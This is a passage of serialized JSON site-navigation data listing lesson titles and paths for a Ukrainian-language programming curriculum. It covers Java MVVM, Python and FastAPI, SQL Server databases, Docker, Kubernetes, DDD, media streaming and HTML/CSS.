FXML","\u002Fjava\u002Fpr2\u002Fmvvm-view-controller","04.java\u002Fpr2\u002F29.mvvm-view-controller",{"title":2666,"path":2667,"stem":2668},"Інтеграція MVVM з Guice: Автоматична ін'єкція залежностей","\u002Fjava\u002Fpr2\u002Fmvvm-guice-integration","04.java\u002Fpr2\u002F30.mvvm-guice-integration",{"title":2670,"path":2671,"stem":2672},"Валідація та обробка помилок у MVVM","\u002Fjava\u002Fpr2\u002Fmvvm-validation-error-handling","04.java\u002Fpr2\u002F31.mvvm-validation-error-handling",{"title":2674,"path":2675,"stem":2676},"Навігація та управління екранами у JavaFX MVVM","\u002Fjava\u002Fpr2\u002Fmvvm-navigation-screen-management","04.java\u002Fpr2\u002F32.mvvm-navigation-screen-management",{"title":2678,"path":2679,"stem":2680},"Тестування JavaFX MVVM-додатків","\u002Fjava\u002Fpr2\u002Fmvvm-testing","04.java\u002Fpr2\u002F33.mvvm-testing",{"title":2682,"path":2683,"stem":2684},"Стилізація та теми у JavaFX: CSS та User Experience","\u002Fjava\u002Fpr2\u002Fjavafx-styling-themes","04.java\u002Fpr2\u002F34.javafx-styling-themes",{"title":2686,"path":2687,"stem":2688},"AtlantaFX: Сучасні теми для JavaFX додатків","\u002Fjava\u002Fpr2\u002Fatlantafx-modern-themes","04.java\u002Fpr2\u002F35.atlantafx-modern-themes",{"title":2690,"path":2691,"stem":2692},"Пакування та розповсюдження JavaFX-додатків","\u002Fjava\u002Fpr2\u002Fjar-packaging-distribution","04.java\u002Fpr2\u002F36.jar-packaging-distribution",{"title":2694,"icon":2695,"path":2696,"stem":2697,"children":2698,"page":59},"Python","i-devicon-python","\u002Fpython","05.python",[2699,2703,2706,2710,2714,2718,2722,2726,2730,2734,2738,2742,2746,2750,2754,2815],{"title":2700,"path":2701,"stem":2702},"Модулі, Пакети та Віртуальні Середовища","\u002Fpython\u002Fmodules-packages-venv","05.python\u002F00.modules-packages-venv",{"title":71,"path":2704,"stem":2705},"\u002Fpython\u002Fclasses-objects","05.python\u002F01.classes-objects",{"title":2707,"path":2708,"stem":2709},"Інкапсуляція, Керування Доступом та Властивості","\u002Fpython\u002Fencapsulation","05.python\u002F02.encapsulation",{"title":2711,"path":2712,"stem":2713},"Наслідування, MRO та суперсила super()","\u002Fpython\u002Finheritance-mro","05.python\u002F03.inheritance-mro",{"title":2715,"path":2716,"stem":2717},"Абстракція — ABC проти Статичних Протоколів (PEP 544)","\u002Fpython\u002Fabstraction-protocols","05.python\u002F04.abstraction-protocols",{"title":2719,"path":2720,"stem":2721},"Магічні методи (Dunder) та Емуляція протоколів","\u002Fpython\u002Fdunder-methods","05.python\u002F05.dunder-methods",{"title":2723,"path":2724,"stem":2725},"Декоратори та Керування життєвим циклом методів","\u002Fpython\u002Fdecorators-static-class","05.python\u002F06.decorators-static-class",{"title":2727,"path":2728,"stem":2729},"Дескриптори — Магія доступу до атрибутів","\u002Fpython\u002Fdescriptors","05.python\u002F07.descriptors",{"title":2731,"path":2732,"stem":2733},"Метакласи — Динамічне створення класів під капотом CPython","\u002Fpython\u002Fmetaclasses","05.python\u002F08.metaclasses",{"title":2735,"path":2736,"stem":2737},"Dataclasses, NamedTuple та сучасні контейнери Python","\u002Fpython\u002Fmodern-containers","05.python\u002F09.modern-containers",{"title":2739,"path":2740,"stem":2741},"GIL та модель конкурентності CPython — фундамент перед потоками і процесами","\u002Fpython\u002Fgil-concurrency-intro","05.python\u002F11.gil-concurrency-intro",{"title":2743,"path":2744,"stem":2745},"Threading — конкурентність для I\u002FO-bound задач","\u002Fpython\u002Fthreading","05.python\u002F12.threading",{"title":2747,"path":2748,"stem":2749},"Multiprocessing — справжній паралелізм для CPU-bound задач","\u002Fpython\u002Fmultiprocessing","05.python\u002F13.multiprocessing",{"title":2751,"path":2752,"stem":2753},"asyncio — кооперативна конкурентність та event loop","\u002Fpython\u002Fasyncio","05.python\u002F14.asyncio",{"title":2755,"icon":92,"path":2756,"stem":2757,"children":2758,"page":59},"FastAPI","\u002Fpython\u002Ffastapi","05.python\u002Ffastapi",[2759,2763,2767,2771,2775,2779,2783,2787,2791,2795,2799,2803,2807,2811],{"title":2760,"path":2761,"stem":2762},"Глибокий Typing та Pydantic v2 — від анотацій до валідації","\u002Fpython\u002Ffastapi\u002Ftyping-pydantic","05.python\u002Ffastapi\u002F15.typing-pydantic",{"title":2764,"path":2765,"stem":2766},"WSGI, ASGI та Python Web-екосистема","\u002Fpython\u002Ffastapi\u002Fwsgi-asgi-ecosystem","05.python\u002Ffastapi\u002F16.wsgi-asgi-ecosystem",{"title":2768,"path":2769,"stem":2770},"FastAPI: Перший додаток, Uvicorn та OpenAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-intro","05.python\u002Ffastapi\u002F17.fastapi-intro",{"title":2772,"path":2773,"stem":2774},"Маршрутизація, параметри запитів та APIRouter","\u002Fpython\u002Ffastapi\u002Ffastapi-routing-params","05.python\u002Ffastapi\u002F18.fastapi-routing-params",{"title":2776,"path":2777,"stem":2778},"Pydantic v2 у FastAPI — схеми, валідація та серіалізація","\u002Fpython\u002Ffastapi\u002Ffastapi-pydantic-schemas","05.python\u002Ffastapi\u002F19.fastapi-pydantic-schemas",{"title":2780,"path":2781,"stem":2782},"Dependency Injection — серце архітектури FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-dependency-injection","05.python\u002Ffastapi\u002F20.fastapi-dependency-injection",{"title":2784,"path":2785,"stem":2786},"Обробка помилок, Middleware та CORS у FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-errors-middleware","05.python\u002Ffastapi\u002F21.fastapi-errors-middleware",{"title":2788,"path":2789,"stem":2790},"SQLAlchemy 2.0 — ORM, Core та Async Engine","\u002Fpython\u002Ffastapi\u002Fsqlalchemy-orm","05.python\u002Ffastapi\u002F22.sqlalchemy-orm",{"title":2792,"path":2793,"stem":2794},"Alembic — міграції бази даних","\u002Fpython\u002Ffastapi\u002Falembic-migrations","05.python\u002Ffastapi\u002F23.alembic-migrations",{"title":2796,"path":2797,"stem":2798},"Repository Pattern та Clean Architecture у FastAPI","\u002Fpython\u002Ffastapi\u002Ffastapi-repository-clean-arch","05.python\u002Ffastapi\u002F24.fastapi-repository-clean-arch",{"title":2800,"path":2801,"stem":2802},"Автентифікація та авторизація — JWT, OAuth2, RBAC","\u002Fpython\u002Ffastapi\u002Ffastapi-auth-security","05.python\u002Ffastapi\u002F25.fastapi-auth-security",{"title":2804,"path":2805,"stem":2806},"Тестування FastAPI — pytest, httpx, fixtures","\u002Fpython\u002Ffastapi\u002Ffastapi-testing","05.python\u002Ffastapi\u002F26.fastapi-testing",{"title":2808,"path":2809,"stem":2810},"Async на повну — Background Tasks, WebSockets, SSE та Celery","\u002Fpython\u002Ffastapi\u002Ffastapi-async-advanced","05.python\u002Ffastapi\u002F27.fastapi-async-advanced",{"title":2812,"path":2813,"stem":2814},"Deployment — Docker, CI\u002FCD, Monitoring","\u002Fpython\u002Ffastapi\u002Ffastapi-deployment","05.python\u002Ffastapi\u002F28.fastapi-deployment",{"title":2816,"path":2817,"stem":2818},"[object Object]","\u002Fpython\u002Foop-plan","05.python\u002Foop-plan",{"title":2820,"icon":2821,"path":2822,"stem":2823,"children":2824,"page":59},"Бази даних","i-lucide-database","\u002Fdatabases","06.databases",[2825,2855,2878,2915,2944,2962,2996,3008,3017],{"title":2826,"icon":2827,"path":2828,"stem":2829,"children":2830,"page":59},"Intro","i-lucide-play","\u002Fdatabases\u002Fintro","06.databases\u002F01.intro",[2831,2835,2839,2843,2847,2851],{"title":2832,"path":2833,"stem":2834},"Введення в теорію баз даних","\u002Fdatabases\u002Fintro\u002Fintroduction-to-databases","06.databases\u002F01.intro\u002F01.introduction-to-databases",{"title":2836,"path":2837,"stem":2838},"Реляційна модель даних","\u002Fdatabases\u002Fintro\u002Frelational-model-theory","06.databases\u002F01.intro\u002F02.relational-model-theory",{"title":2840,"path":2841,"stem":2842},"ER-моделювання","\u002Fdatabases\u002Fintro\u002Fer-modeling","06.databases\u002F01.intro\u002F03.er-modeling",{"title":2844,"path":2845,"stem":2846},"Логічне проектування БД","\u002Fdatabases\u002Fintro\u002Flogical-schema","06.databases\u002F01.intro\u002F04.logical-schema",{"title":2848,"path":2849,"stem":2850},"Класифікація таблиць","\u002Fdatabases\u002Fintro\u002Ftable-classification","06.databases\u002F01.intro\u002F05.table-classification",{"title":2852,"path":2853,"stem":2854},"PlantUML для баз даних","\u002Fdatabases\u002Fintro\u002Fplantuml-diagrams","06.databases\u002F01.intro\u002F06.plantuml-diagrams",{"title":2856,"icon":2821,"path":2857,"stem":2858,"children":2859,"page":59},"MS SQL Server Start","\u002Fdatabases\u002Fms-sql-server-start","06.databases\u002F02.ms-sql-server-start",[2860,2864,2870,2874],{"title":2861,"path":2862,"stem":2863},"Типи даних у MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fdata-types","06.databases\u002F02.ms-sql-server-start\u002F01.data-types",{"title":2865,"path":2866,"stem":2867,"children":2868},"Індекси у MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fsql-indexes","06.databases\u002F02.ms-sql-server-start\u002F02.sql-indexes",[2869],{"title":2865,"path":2866,"stem":2867},{"title":2871,"path":2872,"stem":2873},"Системні бази даних MS SQL Server","\u002Fdatabases\u002Fms-sql-server-start\u002Fsystem-databases","06.databases\u002F02.ms-sql-server-start\u002F03.system-databases",{"title":2875,"path":2876,"stem":2877},"Огляд мови SQL та запитів","\u002Fdatabases\u002Fms-sql-server-start\u002Fsql-queries-overview","06.databases\u002F02.ms-sql-server-start\u002F04.sql-queries-overview",{"title":2879,"icon":2821,"path":2880,"stem":2881,"children":2882,"page":59},"SQL","\u002Fdatabases\u002Fsql","06.databases\u002F03.sql",[2883,2887,2891,2895,2899,2903,2907,2911],{"title":2884,"path":2885,"stem":2886},"Налаштування демонстраційної бази даних","\u002Fdatabases\u002Fsql\u002Fsample-database-setup","06.databases\u002F03.sql\u002F00.sample-database-setup",{"title":2888,"path":2889,"stem":2890},"DDL - Створення таблиць (CREATE TABLE)","\u002Fdatabases\u002Fsql\u002Fddl-create-table","06.databases\u002F03.sql\u002F01.ddl-create-table",{"title":2892,"path":2893,"stem":2894},"DDL - Зміна та видалення таблиць (ALTER, DROP)","\u002Fdatabases\u002Fsql\u002Fddl-alter-drop-table","06.databases\u002F03.sql\u002F02.ddl-alter-drop-table",{"title":2896,"path":2897,"stem":2898},"SELECT запити - Основи","\u002Fdatabases\u002Fsql\u002Fselect-queries-fundamentals","06.databases\u002F03.sql\u002F03.select-queries-fundamentals",{"title":2900,"path":2901,"stem":2902},"SELECT запити - Розширені можливості","\u002Fdatabases\u002Fsql\u002Fselect-queries-advanced","06.databases\u002F03.sql\u002F04.select-queries-advanced",{"title":2904,"path":2905,"stem":2906},"INSERT запити - Додавання даних","\u002Fdatabases\u002Fsql\u002Finsert-queries","06.databases\u002F03.sql\u002F05.insert-queries",{"title":2908,"path":2909,"stem":2910},"UPDATE та DELETE запити","\u002Fdatabases\u002Fsql\u002Fupdate-delete-queries","06.databases\u002F03.sql\u002F06.update-delete-queries",{"title":2912,"path":2913,"stem":2914},"Транзакції в SQL","\u002Fdatabases\u002Fsql\u002Ftransactions","06.databases\u002F03.sql\u002F07.transactions",{"title":2916,"icon":2821,"path":2917,"stem":2918,"children":2919,"page":59},"Multi Table Databases","\u002Fdatabases\u002Fmulti-table-databases","06.databases\u002F04.multi-table-databases",[2920,2924,2928,2932,2936,2940],{"title":2921,"path":2922,"stem":2923},"Зв'язки та нормалізація БД","\u002Fdatabases\u002Fmulti-table-databases\u002Frelationships-and-normalization","06.databases\u002F04.multi-table-databases\u002F00.relationships-and-normalization",{"title":2925,"path":2926,"stem":2927},"INNER JOIN - З'єднання таблиць","\u002Fdatabases\u002Fmulti-table-databases\u002Finner-join","06.databases\u002F04.multi-table-databases\u002F01.inner-join",{"title":2929,"path":2930,"stem":2931},"OUTER JOINs - LEFT, RIGHT, FULL","\u002Fdatabases\u002Fmulti-table-databases\u002Fouter-joins","06.databases\u002F04.multi-table-databases\u002F02.outer-joins",{"title":2933,"path":2934,"stem":2935},"CROSS та SELF JOINs","\u002Fdatabases\u002Fmulti-table-databases\u002Fcross-self-joins","06.databases\u002F04.multi-table-databases\u002F03.cross-self-joins",{"title":2937,"path":2938,"stem":2939},"Підзапити (Subqueries)","\u002Fdatabases\u002Fmulti-table-databases\u002Fsubqueries","06.databases\u002F04.multi-table-databases\u002F04.subqueries",{"title":2941,"path":2942,"stem":2943},"Агрегації з JOIN","\u002Fdatabases\u002Fmulti-table-databases\u002Faggregations-with-joins","06.databases\u002F04.multi-table-databases\u002F05.aggregations-with-joins",{"title":2945,"icon":2946,"path":2947,"stem":2948,"children":2949,"page":59},"Aggregate Functions","i-lucide-calculator","\u002Fdatabases\u002Faggregate-functions","06.databases\u002F05.aggregate-functions",[2950,2954,2958],{"title":2951,"path":2952,"stem":2953},"Функції агрегування в MS SQL Server","\u002Fdatabases\u002Faggregate-functions\u002Fintroduction-aggregate-functions","06.databases\u002F05.aggregate-functions\u002F01.introduction-aggregate-functions",{"title":2955,"path":2956,"stem":2957},"Групування даних в MS SQL Server","\u002Fdatabases\u002Faggregate-functions\u002Fgrouping-data","06.databases\u002F05.aggregate-functions\u002F02.grouping-data",{"title":2959,"path":2960,"stem":2961},"Підзапити з агрегатними функціями","\u002Fdatabases\u002Faggregate-functions\u002Fsubqueries-aggregates","06.databases\u002F05.aggregate-functions\u002F03.subqueries-aggregates",{"title":2963,"icon":2964,"path":2965,"stem":2966,"children":2967,"page":59},"Тригери та зберігаємі процедури","i-lucide-database-zap","\u002Fdatabases\u002Ftriggers-stored-procedures","06.databases\u002F07.triggers-stored-procedures",[2968,2972,2976,2980,2984,2988,2992],{"title":2969,"path":2970,"stem":2971},"DML-тригери","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fdml-triggers","06.databases\u002F07.triggers-stored-procedures\u002F01.dml-triggers",{"title":2973,"path":2974,"stem":2975},"DDL-тригери","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fddl-triggers","06.databases\u002F07.triggers-stored-procedures\u002F02.ddl-triggers",{"title":2977,"path":2978,"stem":2979},"Transact-SQL розширення","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Ftransact-sql-extensions","06.databases\u002F07.triggers-stored-procedures\u002F03.transact-sql-extensions",{"title":2981,"path":2982,"stem":2983},"Транзакції","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Ftransactions","06.databases\u002F07.triggers-stored-procedures\u002F04.transactions",{"title":2985,"path":2986,"stem":2987},"Зберігаємі процедури","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fstored-procedures","06.databases\u002F07.triggers-stored-procedures\u002F05.stored-procedures",{"title":2989,"path":2990,"stem":2991},"Користувацькі функції","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fuser-defined-functions","06.databases\u002F07.triggers-stored-procedures\u002F06.user-defined-functions",{"title":2993,"path":2994,"stem":2995},"Безпека баз даних","\u002Fdatabases\u002Ftriggers-stored-procedures\u002Fsecurity","06.databases\u002F07.triggers-stored-procedures\u002F08.security",{"title":2993,"icon":793,"path":2997,"stem":2998,"children":2999,"page":59},"\u002Fdatabases\u002Fsecurity","06.databases\u002F08.security",[3000,3004],{"title":3001,"path":3002,"stem":3003},"Вступ до безпеки баз даних","\u002Fdatabases\u002Fsecurity\u002Fintroduction","06.databases\u002F08.security\u002F01.introduction",{"title":3005,"path":3006,"stem":3007},"Системні представлення та метадані","\u002Fdatabases\u002Fsecurity\u002Fsystem-views","06.databases\u002F08.security\u002F02.system-views",{"title":3009,"icon":3010,"path":3011,"stem":3012,"children":3013,"page":59},"Резервне копіювання та відновлення","i-lucide-database-backup","\u002Fdatabases\u002Fbackup-recovery","06.databases\u002F09.backup-recovery",[3014],{"title":3009,"path":3015,"stem":3016},"\u002Fdatabases\u002Fbackup-recovery\u002Fbackup-restore","06.databases\u002F09.backup-recovery\u002F01.backup-restore",{"title":3018,"icon":3019,"path":3020,"stem":3021,"children":3022,"page":59},"Повнотекстовий пошук","i-lucide-search","\u002Fdatabases\u002Ffull-text-search","06.databases\u002F10.full-text-search",[3023],{"title":3018,"path":3024,"stem":3025},"\u002Fdatabases\u002Ffull-text-search\u002Ffull-text-search","06.databases\u002F10.full-text-search\u002F01.full-text-search",{"title":3027,"icon":3028,"path":3029,"stem":3030,"children":3031,"page":59},"Tools","i-lucide-wrench","\u002Ftools","07.tools",[3032,3108],{"title":3033,"icon":3034,"path":3035,"stem":3036,"children":3037},"Docker","i-simple-icons-docker","\u002Ftools\u002Fdocker","07.tools\u002F01.docker\u002Findex",[3038,3040,3044,3048,3052,3056,3060,3064,3068,3072,3076,3080,3084,3088,3092,3096,3100,3104],{"title":3039,"path":3035,"stem":3036},"Docker: від нуля до production",{"title":3041,"path":3042,"stem":3043},"Контейнеризація — від проблеми до рішення","\u002Ftools\u002Fdocker\u002Fcontainerization-concept","07.tools\u002F01.docker\u002F01.containerization-concept",{"title":3045,"path":3046,"stem":3047},"Docker — що це і навіщо?","\u002Ftools\u002Fdocker\u002Fdocker-what-and-why","07.tools\u002F01.docker\u002F02.docker-what-and-why",{"title":3049,"path":3050,"stem":3051},"Архітектура Docker Engine","\u002Ftools\u002Fdocker\u002Fdocker-architecture","07.tools\u002F01.docker\u002F03.docker-architecture",{"title":3053,"path":3054,"stem":3055},"Встановлення Docker","\u002Ftools\u002Fdocker\u002Finstallation","07.tools\u002F01.docker\u002F04.installation",{"title":3057,"path":3058,"stem":3059},"Перший контейнер — docker run","\u002Ftools\u002Fdocker\u002Ffirst-container","07.tools\u002F01.docker\u002F05.first-container",{"title":3061,"path":3062,"stem":3063},"Життєвий цикл контейнера","\u002Ftools\u002Fdocker\u002Fcontainer-lifecycle","07.tools\u002F01.docker\u002F06.container-lifecycle",{"title":3065,"path":3066,"stem":3067},"Docker Images — фундаментальні концепції","\u002Ftools\u002Fdocker\u002Fdocker-images-fundamentals","07.tools\u002F01.docker\u002F07.docker-images-fundamentals",{"title":3069,"path":3070,"stem":3071},"Dockerfile — основи","\u002Ftools\u002Fdocker\u002Fdockerfile-basics","07.tools\u002F01.docker\u002F08.dockerfile-basics",{"title":3073,"path":3074,"stem":3075},"Dockerfile — просунуті техніки","\u002Ftools\u002Fdocker\u002Fdockerfile-advanced","07.tools\u002F01.docker\u002F09.dockerfile-advanced",{"title":3077,"path":3078,"stem":3079},"Build Context та кешування шарів","\u002Ftools\u002Fdocker\u002Fbuild-context-and-cache","07.tools\u002F01.docker\u002F10.build-context-and-cache",{"title":3081,"path":3082,"stem":3083},"Реєстри Docker-образів","\u002Ftools\u002Fdocker\u002Fimage-registries","07.tools\u002F01.docker\u002F11.image-registries",{"title":3085,"path":3086,"stem":3087},"Контейнеризація .NET додатків","\u002Ftools\u002Fdocker\u002Fdotnet-containerization","07.tools\u002F01.docker\u002F12.dotnet-containerization",{"title":3089,"path":3090,"stem":3091},"Томи та збереження даних","\u002Ftools\u002Fdocker\u002Fvolumes-and-data","07.tools\u002F01.docker\u002F13.volumes-and-data",{"title":3093,"path":3094,"stem":3095},"Основи мережі в Docker","\u002Ftools\u002Fdocker\u002Fnetworking-basics","07.tools\u002F01.docker\u002F14.networking-basics",{"title":3097,"path":3098,"stem":3099},"Змінні оточення та конфігурація","\u002Ftools\u002Fdocker\u002Fenvironment-and-configuration","07.tools\u002F01.docker\u002F15.environment-and-configuration",{"title":3101,"path":3102,"stem":3103},"Docker Compose — оркестрація контейнерів","\u002Ftools\u002Fdocker\u002Fdocker-compose-basics","07.tools\u002F01.docker\u002F16.docker-compose-basics",{"title":3105,"path":3106,"stem":3107},"Docker Compose — Multi-Service застосунки","\u002Ftools\u002Fdocker\u002Fcompose-multi-service","07.tools\u002F01.docker\u002F17.compose-multi-service",{"title":3109,"icon":3110,"path":3111,"stem":3112,"children":3113},"Kubernetes","simple-icons:kubernetes","\u002Ftools\u002Fkubernetes","07.tools\u002F02.kubernetes\u002Findex",[3114,3116,3120,3124,3128,3132,3136,3140,3144],{"title":3115,"path":3111,"stem":3112},"Kubernetes: від розробки до production",{"title":3117,"path":3118,"stem":3119},"Kubernetes — коли Docker Compose більше не вистачає","\u002Ftools\u002Fkubernetes\u002Fwhy-kubernetes","07.tools\u002F02.kubernetes\u002F01.why-kubernetes",{"title":3121,"path":3122,"stem":3123},"Архітектура Kubernetes — анатомія кластера","\u002Ftools\u002Fkubernetes\u002Fkubernetes-architecture","07.tools\u002F02.kubernetes\u002F02.kubernetes-architecture",{"title":3125,"path":3126,"stem":3127},"Локальне середовище — minikube, kind та k3s","\u002Ftools\u002Fkubernetes\u002Flocal-environment","07.tools\u002F02.kubernetes\u002F03.local-environment",{"title":3129,"path":3130,"stem":3131},"Pod — атомарна одиниця Kubernetes","\u002Ftools\u002Fkubernetes\u002Fpods-and-containers","07.tools\u002F02.kubernetes\u002F04.pods-and-containers",{"title":3133,"path":3134,"stem":3135},"Патерни використання Pod","\u002Ftools\u002Fkubernetes\u002Fpod-patterns","07.tools\u002F02.kubernetes\u002F05.pod-patterns",{"title":3137,"path":3138,"stem":3139},"Deployment — декларативне управління Pod","\u002Ftools\u002Fkubernetes\u002Fdeployment-basics","07.tools\u002F02.kubernetes\u002F06.deployment-basics",{"title":3141,"path":3142,"stem":3143},"Rolling Updates та управління життєвим циклом Deployment","\u002Ftools\u002Fkubernetes\u002Fdeployment-rolling-updates","07.tools\u002F02.kubernetes\u002F07.deployment-rolling-updates",{"title":3145,"path":3146,"stem":3147},"Service — мережева абстракція для Pod","\u002Ftools\u002Fkubernetes\u002Fservices-networking","07.tools\u002F02.kubernetes\u002F08.services-networking",{"title":3149,"icon":3150,"path":3151,"stem":3152,"children":3153,"page":59},"Software Engineering","i-lucide-code-2","\u002Fsoftware-engineering","09.software-engineering",[3154,3158,3162,3166,3170,3174,3178,3182,3186,3190,3194],{"title":3155,"path":3156,"stem":3157},"1. Аналіз предметної області. Експертні знання та складність","\u002Fsoftware-engineering\u002Fintro-subdomains","09.software-engineering\u002F01.intro-subdomains",{"title":3159,"path":3160,"stem":3161},"2. Обмежені контексти. Інтеграція обмежених контекстів","\u002Fsoftware-engineering\u002Fintegrating-limited-contexts","09.software-engineering\u002F02.integrating-limited-contexts",{"title":3163,"path":3164,"stem":3165},"3. Реалізація простої бізнес-логіки","\u002Fsoftware-engineering\u002Fsimple","09.software-engineering\u002F03.simple",{"title":3167,"path":3168,"stem":3169},"4. Опрацювання складної бізнес-логіки","\u002Fsoftware-engineering\u002Fcomplex-business-logic","09.software-engineering\u002F04.complex-business-logic",{"title":3171,"path":3172,"stem":3173},"5. Моделювання фактора часу. Подієво-орієнтована архітектура.","\u002Fsoftware-engineering\u002Fmodelling-the-time-factor","09.software-engineering\u002F05.modelling-the-time-factor",{"title":3175,"path":3176,"stem":3177},"6. Архітектурні патерни","\u002Fsoftware-engineering\u002Farchitectural-patterns","09.software-engineering\u002F06.architectural-patterns",{"title":3179,"path":3180,"stem":3181},"Паттерни взаємодії","\u002Fsoftware-engineering\u002Fpatterns-of-interaction","09.software-engineering\u002F07.patterns-of-interaction",{"title":3183,"path":3184,"stem":3185},"Евристика проєктування","\u002Fsoftware-engineering\u002Fdesign-heuristics","09.software-engineering\u002F08.design-heuristics",{"title":3187,"path":3188,"stem":3189},"Еволюція проєктних рішень","\u002Fsoftware-engineering\u002Fevolution-of-design-solutions","09.software-engineering\u002F09.evolution-of-design-solutions",{"title":3191,"path":3192,"stem":3193},"EventStorming","\u002Fsoftware-engineering\u002Feventstorming","09.software-engineering\u002F10.eventstorming",{"title":3195,"path":3196,"stem":3197},"DDD на практиці","\u002Fsoftware-engineering\u002Fddd-in-practice","09.software-engineering\u002F11.ddd-in-practice",{"title":3199,"icon":943,"path":3200,"stem":3201,"children":3202,"page":59},"DDD","\u002Fddd","10.ddd",[3203,3207,3211,3215,3219,3223,3227,3231,3235,3239,3243,3247,3251],{"title":3204,"path":3205,"stem":3206},"Аналіз предметної області","\u002Fddd\u002Fdomain-analysis","10.ddd\u002F01.domain-analysis",{"title":3208,"path":3209,"stem":3210},"Експертні знання про предметну область","\u002Fddd\u002Fdomain-expert-knowledge","10.ddd\u002F02.domain-expert-knowledge",{"title":3212,"path":3213,"stem":3214},"Як осмислити складність предметної області","\u002Fddd\u002Fmanaging-domain-complexity","10.ddd\u002F03.managing-domain-complexity",{"title":3216,"path":3217,"stem":3218},"Інтеграція обмежених контекстів","\u002Fddd\u002Fbounded-context-integration","10.ddd\u002F04.bounded-context-integration",{"title":3220,"path":3221,"stem":3222},"Реалізація простої бізнес-логіки","\u002Fddd\u002Fsimple-business-logic","10.ddd\u002F05.simple-business-logic",{"title":3224,"path":3225,"stem":3226},"Обробка складної бізнес-логіки","\u002Fddd\u002Fcomplex-business-logic","10.ddd\u002F06.complex-business-logic",{"title":3228,"path":3229,"stem":3230},"Моделювання фактора часу","\u002Fddd\u002Ftime-modeling","10.ddd\u002F07.time-modeling",{"title":3232,"path":3233,"stem":3234},"Глава 8. Архітектурні Патерни","\u002Fddd\u002Farchitectural-patterns","10.ddd\u002F08.architectural-patterns",{"title":3236,"path":3237,"stem":3238},"Глава 9. Патерни Взаємодії","\u002Fddd\u002Finteraction-patterns","10.ddd\u002F09.interaction-patterns",{"title":3240,"path":3241,"stem":3242},"Глава 10. Проектні Евристики","\u002Fddd\u002Fdesign-heuristics","10.ddd\u002F10.design-heuristics",{"title":3244,"path":3245,"stem":3246},"Глава 11. Еволюція Проектних Рішень","\u002Fddd\u002Fevolution-of-design-decisions","10.ddd\u002F11.evolution-of-design-decisions",{"title":3248,"path":3249,"stem":3250},"Глава 12. EventStorming","\u002Fddd\u002Fevent-storming","10.ddd\u002F12.event-storming",{"title":3252,"path":3253,"stem":3254},"Глава 13. DDD на Практиці","\u002Fddd\u002Fddd-in-practice","10.ddd\u002F13.ddd-in-practice",{"title":3256,"icon":3257,"path":3258,"stem":3259,"children":3260,"page":59},"Media Streaming","i-lucide-video","\u002Fmedia-streaming","11.media-streaming",[3261,3265,3269,3273,3277,3281,3285],{"title":3262,"path":3263,"stem":3264},"01. Магія Стрімінгу: Що відбувається, коли ви натискаєте \"Play\"","\u002Fmedia-streaming\u002Fintroduction","11.media-streaming\u002F01.introduction",{"title":3266,"path":3267,"stem":3268},"02. Анатомія Медіа: Кодеки, Контейнери та Стиснення","\u002Fmedia-streaming\u002Faudio-video-anatomy","11.media-streaming\u002F02.audio-video-anatomy",{"title":3270,"path":3271,"stem":3272},"03. The Gym: FFmpeg Deep Dive","\u002Fmedia-streaming\u002Fffmpeg-gym","11.media-streaming\u002F03.ffmpeg-gym",{"title":3274,"path":3275,"stem":3276},"04. HLS Protocol: HTTP Live Streaming у Деталях","\u002Fmedia-streaming\u002Fhls-protocol","11.media-streaming\u002F04.hls-protocol",{"title":3278,"path":3279,"stem":3280},"05. DASH Protocol: Відкритий Стандарт","\u002Fmedia-streaming\u002Fdash-protocol","11.media-streaming\u002F05.dash-protocol",{"title":3282,"path":3283,"stem":3284},"06. Масштабування: CDN та Adaptive Bitrate","\u002Fmedia-streaming\u002Fcdn-and-adaptive-bitrate","11.media-streaming\u002F06.cdn-and-adaptive-bitrate",{"title":3286,"path":3287,"stem":3288},"07. Війна із Затримкою (Latency)","\u002Fmedia-streaming\u002Frealtime-latency","11.media-streaming\u002F07.realtime-latency",{"title":3290,"icon":3291,"path":3292,"stem":3293,"children":3294,"page":59},"HTML & CSS","i-devicon-html5","\u002Fhtml-css","12.html-css",[3295,3299,3303,3307,3311,3315,3319,3323,3327,3331,3335,3339,3343,3347,3351,3355,3359,3363,3367,3371,3375,3379,3383,3387,3391,3395,3399,3403,3407,3411],{"title":3296,"path":3297,"stem":3298},"Вступ до HTML. Структура документа","\u002Fhtml-css\u002Fintro-html-structure","12.html-css\u002F01.intro-html-structure",{"title":3300,"path":3301,"stem":3302},"Форматування тексту в HTML","\u002Fhtml-css\u002Fhtml-text-formatting","12.html-css\u002F02.html-text-formatting",{"title":3304,"path":3305,"stem":3306},"Посилання та зображення в HTML","\u002Fhtml-css\u002Fhtml-links-images","12.html-css\u002F03.html-links-images",{"title":3308,"path":3309,"stem":3310},"Списки та таблиці в HTML","\u002Fhtml-css\u002Fhtml-lists-tables","12.html-css\u002F04.html-lists-tables",{"title":3312,"path":3313,"stem":3314},"Форми в HTML","\u002Fhtml-css\u002Fhtml-forms","12.html-css\u002F05.html-forms",{"title":3316,"path":3317,"stem":3318},"Семантичні елементи HTML5","\u002Fhtml-css\u002Fhtml-semantic-elements","12.html-css\u002F06.html-semantic-elements",{"title":3320,"path":3321,"stem":3322},"Мультимедіа та розширені елементи HTML","\u002Fhtml-css\u002Fhtml-multimedia-advanced","12.html-css\u002F07.html-multimedia-advanced",{"title":3324,"path":3325,"stem":3326},"Мікророзмітка та SEO в HTML","\u002Fhtml-css\u002Fhtml-microdata-seo","12.html-css\u002F08.html-microdata-seo",{"title":3328,"path":3329,"stem":3330},"Вступ до CSS. Селектори та специфічність","\u002Fhtml-css\u002Fcss-intro-selectors","12.html-css\u002F09.css-intro-selectors",{"title":3332,"path":3333,"stem":3334},"Блокова модель CSS. Відступи. Box Sizing","\u002Fhtml-css\u002Fcss-box-model","12.html-css\u002F10.css-box-model",{"title":3336,"path":3337,"stem":3338},"Розміри у CSS: повний довідник одиниць і ключових слів","\u002Fhtml-css\u002F10a.css-sizing","12.html-css\u002F10a.css-sizing",{"title":3340,"path":3341,"stem":3342},"Типографіка в CSS. Шрифти та 